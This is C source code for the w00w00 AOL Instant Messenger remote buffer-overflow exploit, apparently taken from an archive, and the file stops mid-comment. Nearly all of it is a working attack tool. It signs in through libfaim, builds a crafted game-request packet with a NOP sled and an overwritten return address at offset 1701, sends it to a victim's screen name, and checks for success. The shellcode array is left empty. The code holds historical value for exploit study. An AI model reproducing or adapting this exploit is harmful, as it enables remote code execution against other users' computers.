home *** CD-ROM | disk | FTP | other *** search
- /*
- * w00w00 AOL Instant Messenger exploit
- * Copyright (C) 2001-2002, w00w00
- * http://www.w00w00.org
- *
- * This requires libfaim (which is really awesome) to
- * work. The version we used can be downloaded at
- * http://jgo.local.net/libfaim. This may be redistributed
- * as long as this file and its copyrights are left intact.
- * I provided a Makefile; You may need to check the path to
- * the libfaim header files (the Makefile uses
- * /usr/local/include/faim).
- */
-
- #include "w00aimexp.h"
- #include <sys/stat.h>
- #include <signal.h>
-
- #define DATA 0x02
- #define SNAC_DATA 0x02
- #define OUTGOING_MSG 0x0006
- #define COOKIE 0x0000
- #define TIMEOUT 15 // used to verify the exploit was successful
-
- // Shellcode stuff
- #define NOP_OPCODE 0x90
- #define MAX_EXPLOIT_SIZE 5533
-
- // If all your shellcode can fit in < 1701 bytes, do not
- // define USE_FULL_SIZE. If you need more than that, then
- // you will either need to:
- // a. Put your shellcode after EIP_OFFSET (1701-1704) in
- // g_exploit, or
- // b. Make sure your EIP address is valid, harmless opcodes
- // so that can point EIP to your NOPs or shellcode earlier
- // in the buffer and skip over the EIP address into the rest
- // of your shellcode. If your EIP contains non-valid opcodes
- // (i.e., 0xcc), the rest of your shellcode will never be
- // executed.
-
- //#define USE_FULL_SIZE // define this if your have shellcode > 1701 bytes
- #define EIP_OFFSET 1701 // offset into g_exploit for EIP
- #define SHELLCODE_ADDR 0xaabbccdd // EIP is overwritten with this address
-
- unsigned char g_shellcode[] = {};
-
- unsigned char *g_exploit; // this is what will actually be sent
- static int g_exploit_ready = 0; // ready to send the exploit
-
- // Game request (the particular request is trivial)
- char g_game_request[] = // type 0x07
- "aim:AddGame?name=w00w00&go1st=true&multiplayer=true&url=http://www.w00w00.org";
-
- // TLV data
- char g_unknown1[2] = { 0x00, 0x01 }; // type 0x0a
- char g_unknown2[4] = { 0x40, 0xa3, 0x1e, 0x4f }; // type 0x03
- char g_unknown3[2] = { 0x14, 0x46 }; // type 0x05
- char g_unknown4[22] = { 0x00, 0x00, 0x02, 0x00, 0x05, 0x07, 0x4c, 0x7f, 0x11, 0xd1, 0x82, 0x22,
- 0x44, 0x45, 0x53, 0x54, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x09 }; // type 0x2711
-
- static char *error_msgs[] =
- {
- "Invalid error",
- "Invalid SNAC",
- "Rate to host",
- "Rate to client",
- "Not logged on",
- "Service unavailable",
- "Service not defined",
- "Obsolete SNAC",
- "Not supported by host",
- "Not supported by client",
- "Refused by client",
- "Reply too big",
- "Responses lost",
- "Request denied",
- "Busted SNAC payload",
- "Insufficient rights",
- "In local permit/deny",
- "Too evil (sender)",
- "Too evil (receiver)",
- "User temporarily unavailable",
- "No match",
- "List overflow",
- "Request ambiguous",
- "Queue full",
- "Not while on AOL",
- };
-
- static int error_msgs_len = 25;
- aim_session_t g_session;
-
- #ifdef _WIN32
- static int init_winsock(void);
- #endif
- static void handle_timeout(int signum);
- static void w00aimexp_debugcb(aim_session_t *sess, int level, const char *format, va_list va);
-
- int main(int argc, char **argv)
- {
- aim_frame_t *exploit_frame;
- unsigned long shellcode_addr = SHELLCODE_ADDR;
- char *victim_screen_name, cookie[8];
- int exploit_len, tlv_len, packet_len, snac_id;
- int offset, tlv_size_offset, exploit_size_offset;
-
- int i, status, keepgoing = 1;
- aim_conn_t *waitingconn = NULL;
- struct timeval tv;
- time_t lastnop = 0;
- struct w00aimexp_priv priv = { NULL, NULL, NULL, 0 };
-
- printf("w00w00 AOL Instant Messenger exploit\n");
- printf("http://www.w00w00.org\n\n");
-
- // Do some sanity checking on the args
-
- if (argc < 4)
- {
- fprintf(stderr, "Usage: %s <your screen name> <your password> <victim screen name> [offset]\n", argv[0]);
- exit(ERROR);
- }
-
- if (strlen(argv[1]) < 2 || strlen(argv[1]) > 32)
- {
- fprintf(stderr, "Error: your screen name must be between 2-32 bytes\n");
- exit(ERROR);
- }
-
- if (strlen(argv[3]) < 2 || strlen(argv[3]) > 32)
- {
- fprintf(stderr, "Error: the victim's screen name must be between 2-32 bytes\n");
- exit(ERROR);
- }
-
- priv.aimbinarypath = ".";
- priv.screenname = argv[1];
- priv.password = argv[2];
- victim_screen_name = argv[3];
-
- if (argc > 4) shellcode_addr += atoi(argv[4]);
-
- ///////////////////////////////////////////////////////////////
- // Do the initializations
-
- #ifdef _WIN32
- if (init_winsock() != 0)
- {
- dprintf("Error: could not initialize Windows sockets\n");
- exit(ERROR);
- }
- #endif /* _WIN32 */
-
- aim_session_init(&g_session, 0, 1);
- aim_setdebuggingcb(&g_session, w00aimexp_debugcb);
- g_session.aux_data = &priv;
-
- putchar('\n');
-
- if (login(&g_session, priv.screenname, priv.password) == ERROR) exit(ERROR);
-
- while (keepgoing)
- {
- if (g_exploit_ready)
- {
- printf("\nSigned in successfully. Sending exploit code to \"%s\"\n",
- victim_screen_name);
-
- ///////////////////////////////////////////////////////////
- // Generate the exploit packet
-
- packet_len = MAX_EXPLOIT_SIZE + strlen(victim_screen_name);
- exploit_frame = (aim_frame_t *)aim_tx_new(&g_session, aim_getconn_type(&g_session,
- AIM_CONN_TYPE_BOS), AIM_FRAMETYPE_FLAP, DATA, packet_len);
-
- if (!exploit_frame)
- {
- fprintf(stderr, "Error: failed to allocate a packet frame\n");
- exit(ERROR);
- }
-
- // Generate SNAC data
- snac_id = aim_cachesnac(&g_session, AIM_CB_FAM_MSG, OUTGOING_MSG, 0,
- victim_screen_name, strlen(victim_screen_name) + 1);
- aim_putsnac(&exploit_frame->data, AIM_CB_FAM_MSG, OUTGOING_MSG, 0, snac_id);
-
- srand(time(NULL));
-
- // Generate a random cookie
- for (i = 0; i < 8; i++) cookie[i] = (unsigned char)((rand() % 255) + 1);
- aimbs_putraw(&exploit_frame->data, cookie, 8);
-
- // Set channel type
- aimbs_put16(&exploit_frame->data, SNAC_DATA);
-
- // Set destination
- aimbs_put8(&exploit_frame->data, strlen(victim_screen_name));
- aimbs_putraw(&exploit_frame->data, victim_screen_name, strlen(victim_screen_name));
-
- //////////////////////////////////////////////////////////
- // Setup TLV fields (this is the critical part)
-
- // This is the outermost TLV that contains all the others
- aimbs_put16(&exploit_frame->data, 0x05); // TLV type
- tlv_size_offset = exploit_frame->data.offset;
- aimbs_put16(&exploit_frame->data, 0x00); // updated later
-
- // Add the cookie again
- aimbs_put16(&exploit_frame->data, 0x00);
- aimbs_putraw(&exploit_frame->data, cookie, 8);
-
- // Set the capability
- aim_putcap(&exploit_frame->data, AIM_CAPS_SAVESTOCKS);
-
- // I don't know what this does
- aimbs_put16(&exploit_frame->data, 0x0a); // TLV type
- aimbs_put16(&exploit_frame->data, 2); // TLV length
- aimbs_putraw(&exploit_frame->data, g_unknown1, 2);
-
- // I don't know what this does
- aimbs_put16(&exploit_frame->data, 0x0f); // TLV type
- aimbs_put16(&exploit_frame->data, 0); // TLV length
-
- // Set language
- aimbs_put16(&exploit_frame->data, 0x0e); // TLV type
- aimbs_put16(&exploit_frame->data, 2); // TLV length
- aimbs_putraw(&exploit_frame->data, "en", 2);
-
- // Set charset
- aimbs_put16(&exploit_frame->data, 0x0d); // TLV type
- aimbs_put16(&exploit_frame->data, 8); // TLV length
- aimbs_putraw(&exploit_frame->data, "us-ascii", 8);
-
- // I don't know what this does
- aimbs_put16(&exploit_frame->data, 0x0c); // TLV type
- aimbs_put16(&exploit_frame->data, 6); // TLV length
- aimbs_putraw(&exploit_frame->data, "w00w00", 6);
-
- // I don't know what this does
- aimbs_put16(&exploit_frame->data, 0x03); // TLV type
- aimbs_put16(&exploit_frame->data, 4); // TLV length
- aimbs_putraw(&exploit_frame->data, g_unknown2, 4);
-
- // I don't know what this does
- aimbs_put16(&exploit_frame->data, 0x05); // TLV type
- aimbs_put16(&exploit_frame->data, 2); // TLV length
- aimbs_putraw(&exploit_frame->data, g_unknown3, 2);
-
- // Add the game request
- aimbs_put16(&exploit_frame->data, 0x07); // TLV type
- aimbs_put16(&exploit_frame->data, strlen(g_game_request)); // TLV length
- aimbs_putraw(&exploit_frame->data, g_game_request, strlen(g_game_request));
-
- //////////////////////////////////////////////////////////
- // Add the exploit code
-
- aimbs_put16(&exploit_frame->data, 0x2711); // TLV type
- exploit_size_offset = exploit_frame->data.offset;
- aimbs_put16(&exploit_frame->data, 0); // to be set later
- aimbs_putraw(&exploit_frame->data, g_unknown4, sizeof(g_unknown4));
-
- // Exploit length = total - everything before this (exploit is at the end)
- #ifdef USE_FULL_SIZE
- exploit_len = packet_len - exploit_frame->data.offset;
- #else
- exploit_len = EIP_OFFSET + 4; // have the shellcode stop right before EIP
- #endif
-
- // Sanity check the buffer sizes
- assert(sizeof(g_shellcode) < exploit_len);
-
- g_exploit = (unsigned char *)malloc(exploit_len);
- if (!g_exploit)
- {
- fprintf(stderr, "Error: failed to allocate %d bytes\n", exploit_len);
- exit(ERROR);
- }
-
- // Pad buffer with NOPs to give more room for error
- memset(g_exploit, NOP_OPCODE, exploit_len);
-
- #ifdef USE_FULL_SIZE
- // Put the shellcode at the end
- offset = exploit_len - sizeof(g_shellcode);
- memcpy(g_exploit + offset, g_shellcode, sizeof(g_shellcode));
- #else
- // Put the shellcode towards the end
- offset = exploit_len - sizeof(g_shellcode) - 4; // leave room for address
- memcpy(g_exploit + offset, g_shellcode, sizeof(g_shellcode));
- offset += sizeof(g_shellcode);
- assert(offset == EIP_OFFSET);
- #endif
-
- // Set EIP to an address in our shellcode
- *((unsigned long *)(g_exploit + EIP_OFFSET)) = shellcode_addr;
-
- // Add the shellcode to the end of the exploit packet
- aimbs_putraw(&exploit_frame->data, g_exploit, exploit_len);
-
- // Update the lengths we skipped over
- offset = exploit_frame->data.offset - tlv_size_offset - 2;
- aimutil_put16(exploit_frame->data.data + tlv_size_offset, offset);
- aimutil_put16(exploit_frame->data.data + exploit_size_offset, exploit_len + sizeof(g_unknown4));
-
- // Shrink the packet size to avoid wasted bytes
- packet_len = exploit_frame->data.len = exploit_frame->data.offset;
-
- printf("\nSize of exploit packet: %d bytes\n", packet_len);
- printf("Shellcode size: %d\n", sizeof(g_shellcode));
- #ifdef USE_FULL_SIZE
- printf("Room left for NOPs: %d\n", exploit_len - sizeof(g_shellcode));
- #else
- printf("Room left for NOPs: %d\n", exploit_len - sizeof(g_shellcode) - 4);
- #endif
- printf("Using address 0x%.8lx\n", shellcode_addr);
- putchar('\n');
-
- #if 0
- // I output this to stderr rather than stdout so that it can be
- // output separately from everything else
-
- fprintf(stderr, "Data about to be sent (excluding FLAP header):\n");
- for (i = 0; i < packet_len; i++)
- {
- fprintf(stderr, "\\x%.2x", exploit_frame->data.data[i]);
- if (!((i + 1) % 15)) fprintf(stderr, "\n");
- }
- fprintf(stderr, "\n");
-
- sleep(5);
- #endif
-
- // Queue exploit frame to be sent and wait for response
- aim_tx_enqueue(&g_session, exploit_frame);
- g_exploit_ready = 0;
- signal(SIGALRM, handle_timeout);
- alarm(TIMEOUT);
-
- printf("The exploit has been sent. Waiting %d seconds for confirmation of success\n", TIMEOUT);
- }
-
- tv.tv_sec = 5, tv.tv_usec = 0; // set a 5 second timeout
- waitingconn = aim_select(&g_session, &tv, &status);
-
- if (priv.connected && ((time(NULL) - lastnop) > 30))
- {
- lastnop = time(NULL);
- aim_flap_nop(&g_session, aim_getconn_type(&g_session, AIM_CONN_TYPE_BOS));
- }
-
- if (status == ERROR)
- { /* error */
- keepgoing = 0; /* fall through */
- }
- else if (status == 0)
- {
- /* no events pending */
- }
- else if (status == 1)
- {
- /* outgoing data pending */
- aim_tx_flushqueue(&g_session);
- }
- else if (status == 2)
- {
- if (waitingconn->type == AIM_CONN_TYPE_RENDEZVOUS_OUT)
- {
- if (aim_handlerendconnect(&g_session, waitingconn) < 0)
- {
- fprintf(stderr, "Connection error (rend out)\n");
- aim_conn_kill(&g_session, &waitingconn);
- }
- }
- else
- {
- if (aim_get_command(&g_session, waitingconn) >= 0)
- {
- aim_rxdispatch(&g_session);
- }
- else
- {
- fprintf(stderr, "Connection error (type 0x%04x:0x%04x)\n", waitingconn->type, waitingconn->subtype);
-
- /* we should have callbacks for all these, else the library will do the conn_kill for us. */
- if (waitingconn->type == AIM_CONN_TYPE_RENDEZVOUS)
- {
- if (waitingconn->subtype == AIM_CONN_SUBTYPE_OFT_DIRECTIM)
- {
- fprintf(stderr, "Disconnected from %s\n", aim_directim_getsn(waitingconn));
- }
-
- aim_conn_kill(&g_session, &waitingconn);
- }
- else
- {
- aim_conn_kill(&g_session, &waitingconn);
- }
-
- if (!aim_getconn_type(&g_session, AIM_CONN_TYPE_BOS))
- {
- fprintf(stderr, "Major connection error\n");
- exit(ERROR);
- }
- }
- }
- }
- }
-
- assert(0); // this should never be reached
- }
-
- #ifdef _WIN32
- /*
- * This is really all thats needed to link against libfaim on win32.
- *
- * Note that this particular version of w00aimexp has never been tested
- * on win32, but I'm fairly sure it should work.
- */
- static int init_winsock(void)
- {
- WORD wVersionRequested;
- WSADATA wsaData;
-
- wVersionRequested = MAKEWORD(2,2);
- return WSAStartup(wVersionRequested, &wsaData);
- }
- #endif
-
- //
- static void handle_timeout(int signum)
- {
- printf("\nNo confirmation that the exploit worked. Check manually.\n");
- free(g_exploit);
- aim_session_kill(&g_session);
- exit(0);
- }
-
- /*
- * This is used to intercept debugging/diagnostic messages from libfaim.
- *
- * Note that you should have one of these even if you use a debuglevel of
- * zero, as libfaim will send serious errors to stderr by default.
- *
- */
- static void w00aimexp_debugcb(aim_session_t *sess, int level, const char *format, va_list va)
- {
- #ifdef DEBUG_LIBFAIM
- //printf("[libfaim] "); // TODO: remove
- vprintf(format, va);
- #endif
- }
-
- /*
- * This is a frivilous callback. You don't need it. I only used it for
- * debugging non-blocking connects.
- *
- * If packets are sent to a conn before its fully connected, they
- * will be queued and then transmitted when the connection completes.
- *
- */
- int w00aimexp_conncomplete(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- va_list ap;
- aim_conn_t *conn;
-
- va_start(ap, fr);
- conn = va_arg(ap, aim_conn_t *);
- va_end(ap);
-
- if (conn)
- {
- dvprintf("Connection completed on socket %d (type %d)\n",
- conn->fd, conn->type);
- }
- return 1;
- }
-
- int w00aimexp_serverready(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- int famcount, i;
- fu16_t *families;
- va_list ap;
-
- va_start(ap, fr);
- famcount = va_arg(ap, int);
- families = va_arg(ap, fu16_t *);
- va_end(ap);
-
- #if 0
- dvprintf("SNAC families supported by this host (type %d): ", fr->conn->type);
- for (i = 0; i < famcount; i++) dvinlineprintf("0x%04x ", families[i]);
- dinlineprintf("\n");
- #endif
-
- if (fr->conn->type == AIM_CONN_TYPE_AUTH)
- {
- aim_auth_setversions(sess, fr->conn);
- aim_bos_reqrate(sess, fr->conn); /* request rate info */
- dprintf("Done with authenication server ready\n");
- }
- else if (fr->conn->type == AIM_CONN_TYPE_BOS)
- {
- aim_setversions(sess, fr->conn);
- aim_bos_reqrate(sess, fr->conn); /* request rate info */
- dprintf("Done with BOS server ready\n");
- }
-
- return 1;
- }
-
- static int w00aimexp_parse_clienterr(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- va_list ap;
- fu16_t error_code;
- char *msg;
-
- va_start(ap, fr);
- error_code = va_arg(ap, int);
- msg = va_arg(ap, char *);
- va_end(ap);
-
- if (error_code == 0x02)
- {
- printf("Exploit appears successful. w00w00!\n");
- alarm(0);
- }
- else
- {
- fprintf(stderr, "Error: error with \"%s\" (error code 0x%.2x)\n", msg, error_code);
- }
-
- free(g_exploit);
- aim_session_kill(&g_session);
- exit(0);
- }
-
- int w00aimexp_parse_connerr(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- struct w00aimexp_priv *priv = (struct w00aimexp_priv *)sess->aux_data;
- va_list ap;
- fu16_t error_code;
- char *msg;
-
- va_start(ap, fr);
- error_code = va_arg(ap, int);
- msg = va_arg(ap, char *);
- va_end(ap);
-
- fprintf(stderr, "Connection error (error code = 0x%04x): %s\n", error_code, msg);
- aim_conn_kill(sess, &fr->conn); /* this will break the main loop */
-
- priv->connected = 0;
- exit(ERROR);
- }
-
- static int w00aimexp_rateresp_bos(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- struct w00aimexp_priv *priv = (struct w00aimexp_priv *)sess->aux_data;
- char buddies[128]; /* this is the new buddy list */
- char profile[256]; /* this is the new profile */
- char awaymsg[] = { "w00w00 AOL Instant Messenger exploit" };
-
- snprintf(profile, sizeof(profile), "w00w00 AOL Instant Messenger exploit");
-
- aim_bos_ackrateresp(sess, fr->conn); /* ack rate info response */
- aim_bos_reqpersonalinfo(sess, fr->conn);
- aim_bos_reqlocaterights(sess, fr->conn);
- aim_bos_setprofile(sess, fr->conn, profile, awaymsg, AIM_CAPS_SAVESTOCKS);
- aim_bos_reqbuddyrights(sess, fr->conn);
-
- /* send the buddy list and profile (required, even if empty) */
- aim_bos_setbuddylist(sess, fr->conn, buddies);
-
- aim_reqicbmparams(sess, fr->conn);
- aim_bos_reqrights(sess, fr->conn);
-
- /* set group permissions -- all user classes */
- aim_bos_setgroupperm(sess, fr->conn, AIM_FLAG_ALLUSERS);
- aim_bos_setprivacyflags(sess, fr->conn, AIM_PRIVFLAGS_ALLOWIDLE);
-
- // Now that our capabilities have been sent, start the exploit
- //g_exploit_ready = 1;
-
- return 1;
- }
-
- static int w00aimexp_icbmparaminfo(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- struct aim_icbmparameters *params;
- va_list ap;
-
- va_start(ap, fr);
- params = va_arg(ap, struct aim_icbmparameters *);
- va_end(ap);
-
- #if 0
- dvprintf("ICBM parameters (maxchannel = %d, default flags = 0x%08lx, max msg len = %d, "
- "max sender evil = %f, max reciever evil = %f, min msg interval = %ld)\n",
- params->maxchan, params->flags, params->maxmsglen, ((float)params->maxsenderwarn) / 10.0,
- ((float)params->maxrecverwarn) / 10.0, params->minmsginterval);
- #endif
-
- /*
- * Set these to your taste, or client medium. Setting minmsginterval
- * higher is good for keeping yourself from getting flooded (esp
- * if you're on a slow connection or something where that would be
- * useful).
- */
- params->maxmsglen = 8000;
- params->minmsginterval = 0; /* in milliseconds */
-
- aim_seticbmparam(sess, fr->conn, params);
- return 1;
- }
-
- static int w00aimexp_hostversions(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- int vercount, i;
- fu8_t *versions;
- va_list ap;
-
- va_start(ap, fr);
- vercount = va_arg(ap, int); /* number of family/version pairs */
- versions = va_arg(ap, fu8_t *);
- va_end(ap);
-
- #if 0
- dprintf("SNAC versions supported by this host: ");
- for (i = 0; i < vercount*4; i += 4)
- {
- dvinlineprintf("0x%04x:0x%04x ",
- aimutil_get16(versions+i), /* SNAC family */
- aimutil_get16(versions+i+2) /* Version number */);
- }
- dinlineprintf("\n");
- #endif
-
- return 1;
- }
-
- static int w00aimexp_parse_buddyrights(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- va_list ap;
- fu16_t maxbuddies, maxwatchers;
-
- va_start(ap, fr);
- maxbuddies = va_arg(ap, int);
- maxwatchers = va_arg(ap, int);
- va_end(ap);
-
- //dvprintf("Buddy list rights (max buddies = %d, max watchers = %d)\n", maxbuddies, maxwatchers);
- return 1;
- }
-
- static int w00aimexp_bosrights(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- va_list ap;
- fu16_t maxpermits, maxdenies;
-
- va_start(ap, fr);
- maxpermits = va_arg(ap, int);
- maxdenies = va_arg(ap, int);
- va_end(ap);
-
- //dvprintf("BOS rights (max permit = %d, max deny = %d)\n", maxpermits, maxdenies);
- aim_bos_clientready(sess, fr->conn);
- dprintf("Connected to BOS\n");
-
- return 1;
- }
-
- static int w00aimexp_locrights(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- va_list ap;
- fu16_t maxsiglen;
-
- va_start(ap, fr);
- maxsiglen = va_arg(ap, int);
- va_end(ap);
-
- //dvprintf("Locate rights (max signature length = %d)\n", maxsiglen);
- return 1;
- }
-
- static int w00aimexp_reportinterval(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- struct w00aimexp_priv *priv = (struct w00aimexp_priv *)sess->aux_data;
- va_list ap;
- fu16_t interval;
-
- va_start(ap, fr);
- interval = va_arg(ap, int);
- va_end(ap);
-
- //dvprintf("Minimum report interval (%d seconds)\n", interval);
-
- if (!priv->connected) priv->connected++;
- aim_reqicbmparams(sess, fr->conn);
-
- g_exploit_ready = 1;
- return 1;
- }
-
- static void printuserflags(fu16_t flags)
- {
- if (flags & AIM_FLAG_UNCONFIRMED) dinlineprintf("UNCONFIRMED ");
- if (flags & AIM_FLAG_ADMINISTRATOR) dinlineprintf("ADMINISTRATOR ");
- if (flags & AIM_FLAG_AOL) dinlineprintf("AOL ");
- if (flags & AIM_FLAG_OSCAR_PAY) dinlineprintf("OSCAR_PAY ");
- if (flags & AIM_FLAG_FREE) dinlineprintf("FREE ");
- if (flags & AIM_FLAG_AWAY) dinlineprintf("AWAY ");
- if (flags & AIM_FLAG_UNKNOWN40) dinlineprintf("ICQ? ");
- if (flags & AIM_FLAG_UNKNOWN80) dinlineprintf("UNKNOWN80 ");
- return;
- }
-
- /*
- * Channel 1: Standard Message
- */
- static int w00aimexp_parse_incoming_im_chan1(aim_session_t *sess, aim_conn_t *conn, struct aim_userinfo_s *userinfo, struct aim_incomingim_ch1_args *args)
- {
- struct w00aimexp_priv *priv = (struct w00aimexp_priv *)sess->aux_data;
- char *tmpstr;
- int clienttype = AIM_CLIENTTYPE_UNKNOWN;
- char realmsg[8192+1] = {""};
-
- clienttype = aim_fingerprintclient(args->features, args->featureslen);
-
- dvprintf("Incoming message: screen name = \"%s\", client type = %d, warn level = %d\n",
- userinfo->sn, clienttype, userinfo->warnlevel);
- dvprintf("Flags = 0x%04x [ ", userinfo->flags);
- printuserflags(userinfo->flags);
- dinlineprintf("]\n");
-
- dvprintf("Member since %lu, online since = %lu, idletime = 0x%04x, capabilities = 0x%04x\n",
- userinfo->membersince, userinfo->onlinesince, userinfo->idletime, userinfo->capabilities);
-
- dprintf("Flags 2 = [ ");
- if (args->icbmflags & AIM_IMFLAGS_AWAY) dinlineprintf("away ");
- if (args->icbmflags & AIM_IMFLAGS_ACK) dinlineprintf("ackrequest ");
- if (args->icbmflags & AIM_IMFLAGS_BUDDYREQ) dinlineprintf("buddyreq ");
- if (args->icbmflags & AIM_IMFLAGS_HASICON) dinlineprintf("hasicon ");
- dinlineprintf("]\n");
-
- if (args->icbmflags & AIM_IMFLAGS_CUSTOMCHARSET)
- {
- dvprintf("Encoding flags: character set = %04x, character subset = %04x\n", args->charset, args->charsubset);
- }
-
- /*
- * Quickly convert it to eight bit format, replacing non-ASCII UNICODE
- * characters with their equivelent HTML entity.
- */
- if (args->icbmflags & AIM_IMFLAGS_UNICODE)
- {
- int i;
-
- for (i = 0; i < args->msglen; i += 2)
- {
- fu16_t uni;
-
- uni = ((args->msg[i] & 0xff) << 8) | (args->msg[i+1] & 0xff);
-
- if ((uni < 128) || ((uni >= 160) && (uni <= 255))) { /* ISO 8859-1 */
-
- snprintf(realmsg+strlen(realmsg), sizeof(realmsg)-strlen(realmsg), "%c", uni);
-
- }
- else
- {
- /* something else, do UNICODE entity */
- snprintf(realmsg+strlen(realmsg), sizeof(realmsg)-strlen(realmsg), "%04x;", uni);
- }
- }
- }
-
- else
- {
- /*
- * For non-UNICODE encodings (ASCII and ISO 8859-1), there is
- * no need to do anything special here. Most
- * terminals/whatever will be able to display such characters
- * unmodified.
- *
- * Beware that PC-ASCII 128 through 159 are _not_ actually
- * defined in ASCII or ISO 8859-1, and you should send them as
- * UNICODE. WinAIM will send these characters in a UNICODE
- * message, so you need to do so as well.
- *
- * You may not think it necessary to handle UNICODE messages.
- * You're probably wrong. For one thing, Microsoft "Smart
- * Quotes" will be sent by WinAIM as UNICODE (not HTML UNICODE,
- * but real UNICODE). If you don't parse UNICODE at all, your
- * users will get a blank message instead of the message
- * containing Smart Quotes.
- *
- */
- strncpy(realmsg, args->msg, sizeof(realmsg));
- }
-
- dvprintf("Message: %s\n", realmsg);
-
- if (args->icbmflags & AIM_IMFLAGS_MULTIPART)
- {
- aim_mpmsg_section_t *sec;
- int z;
-
- dvprintf("This message has %d part(s)\n", args->mpmsg.numparts);
-
- for (sec = args->mpmsg.parts, z = 0; sec; sec = sec->next, z++)
- {
- if ((sec->charset == 0x0000) || (sec->charset == 0x0003) || (sec->charset == 0xffff))
- {
- dvprintf("Part %d (charset 0x%04x, subset 0x%04x): %s\n", z+1, sec->charset, sec->charsubset, sec->data);
- }
- else
- {
- dvprintf("Part %d (charset 0x%04x, subset 0x%04x, binary/unicode)\n", z+1, sec->charset, sec->charsubset);
- }
- }
- }
-
- return 1;
- }
-
- /*
- * Channel 2: Rendevous Request
- */
- static int w00aimexp_parse_incoming_im_chan2(aim_session_t *sess, aim_conn_t *conn, struct aim_userinfo_s *userinfo, struct aim_incomingim_ch2_args *args)
- {
- dvprintf("Incoming message (class %d)\n", args->reqclass);
- assert(0);
- return 1;
- }
-
- static int w00aimexp_parse_incoming_im(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- fu16_t channel;
- struct aim_userinfo_s *userinfo;
- va_list ap;
- int ret = 0;
-
- va_start(ap, fr);
- channel = (fu16_t)va_arg(ap, unsigned int);
- userinfo = va_arg(ap, struct aim_userinfo_s *);
-
- if (channel == 1)
- {
- struct aim_incomingim_ch1_args *args;
- args = va_arg(ap, struct aim_incomingim_ch1_args *);
- ret = w00aimexp_parse_incoming_im_chan1(sess, fr->conn, userinfo, args);
- }
- else if (channel == 2)
- {
- struct aim_incomingim_ch2_args *args;
- args = va_arg(ap, struct aim_incomingim_ch2_args *);
- ret = w00aimexp_parse_incoming_im_chan2(sess, fr->conn, userinfo, args);
- }
- else
- {
- dvprintf("Unsupported channel 0x%04x\n", channel);
- assert(0);
- }
-
- va_end(ap);
- //dvprintf("Done with ICBM handling (parser returned %d)\n", ret);
- return 1;
- }
-
- static int w00aimexp_parse_oncoming(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- struct aim_userinfo_s *userinfo;
-
- va_list ap;
- va_start(ap, fr);
- userinfo = va_arg(ap, struct aim_userinfo_s *);
- va_end(ap);
-
- dvprintf("%s is now online (flags: %04x = %s%s%s%s%s%s%s%s) (caps = 0x%04x)\n",
- userinfo->sn, userinfo->flags,
- (userinfo->flags&AIM_FLAG_UNCONFIRMED) ? " UNCONFIRMED" : "",
- (userinfo->flags&AIM_FLAG_ADMINISTRATOR) ? " ADMINISTRATOR" : "",
- (userinfo->flags&AIM_FLAG_AOL) ? " AOL" : "",
- (userinfo->flags&AIM_FLAG_OSCAR_PAY) ? " OSCAR_PAY" : "",
- (userinfo->flags&AIM_FLAG_FREE) ? " FREE" : "",
- (userinfo->flags&AIM_FLAG_AWAY) ? " AWAY" : "",
- (userinfo->flags&AIM_FLAG_UNKNOWN40) ? " UNKNOWN40" : "",
- (userinfo->flags&AIM_FLAG_UNKNOWN80) ? " UNKNOWN80" : "",
- userinfo->capabilities);
- return 1;
- }
-
- static int w00aimexp_parse_offgoing(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- struct aim_userinfo_s *userinfo;
- va_list ap;
-
- va_start(ap, fr);
- userinfo = va_arg(ap, struct aim_userinfo_s *);
- va_end(ap);
-
- dvprintf("%s is now offline (flags: %04x = %s%s%s%s%s%s%s%s) (caps = 0x%04x)\n",
- userinfo->sn, userinfo->flags,
- (userinfo->flags&AIM_FLAG_UNCONFIRMED) ? " UNCONFIRMED":"",
- (userinfo->flags&AIM_FLAG_ADMINISTRATOR) ? " ADMINISTRATOR":"",
- (userinfo->flags&AIM_FLAG_AOL) ? " AOL" : "",
- (userinfo->flags&AIM_FLAG_OSCAR_PAY) ? " OSCAR_PAY" : "",
- (userinfo->flags&AIM_FLAG_FREE) ? " FREE" : "",
- (userinfo->flags&AIM_FLAG_AWAY) ? " AWAY" : "",
- (userinfo->flags&AIM_FLAG_UNKNOWN40) ? " UNKNOWN40" : "",
- (userinfo->flags&AIM_FLAG_UNKNOWN80) ? " UNKNOWN80" : "",
- userinfo->capabilities);
-
- return 1;
- }
-
- static int w00aimexp_parse_error(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- va_list ap;
- fu16_t reason;
-
- va_start(ap, fr);
- reason = (fu16_t)va_arg(ap, unsigned int);
- va_end(ap);
-
- #if 0
- dvprintf("SNAC threw error (%s)\n",
- (reason < error_msgs_len) ? error_msgs[reason] : "unknown");
- #endif
- return 1;
- }
-
- static int w00aimexp_parse_msgerr(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- va_list ap;
- char *destsn;
- fu16_t reason;
-
- va_start(ap, fr);
- reason = (fu16_t)va_arg(ap, unsigned int);
- destsn = va_arg(ap, char *);
- va_end(ap);
-
- fprintf(stderr, "Error: message to %s bounced (%s)\n", destsn,
- (reason < error_msgs_len) ? error_msgs[reason] : "unknown");
- exit(ERROR);
- }
-
- static int w00aimexp_parse_misses(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- static char *missedreasons[] =
- {
- "Invalid (0)",
- "Message too large",
- "Rate exceeded",
- "Evil Sender",
- "Evil Receiver"
- };
- static int missedreasonslen = 5;
-
- va_list ap;
- fu16_t chan, nummissed, reason;
- struct aim_userinfo_s *userinfo;
-
- va_start(ap, fr);
- chan = (fu16_t)va_arg(ap, unsigned int);
- userinfo = va_arg(ap, struct aim_userinfo_s *);
- nummissed = (fu16_t)va_arg(ap, unsigned int);
- reason = (fu16_t)va_arg(ap, unsigned int);
- va_end(ap);
-
- dvprintf("Error: missed %d messages from %s on channel %d (%s)\n",
- nummissed, userinfo->sn, chan, (reason < missedreasonslen) ? missedreasons[reason] : "unknown");
- assert(0);
- return 1;
- }
-
- /*
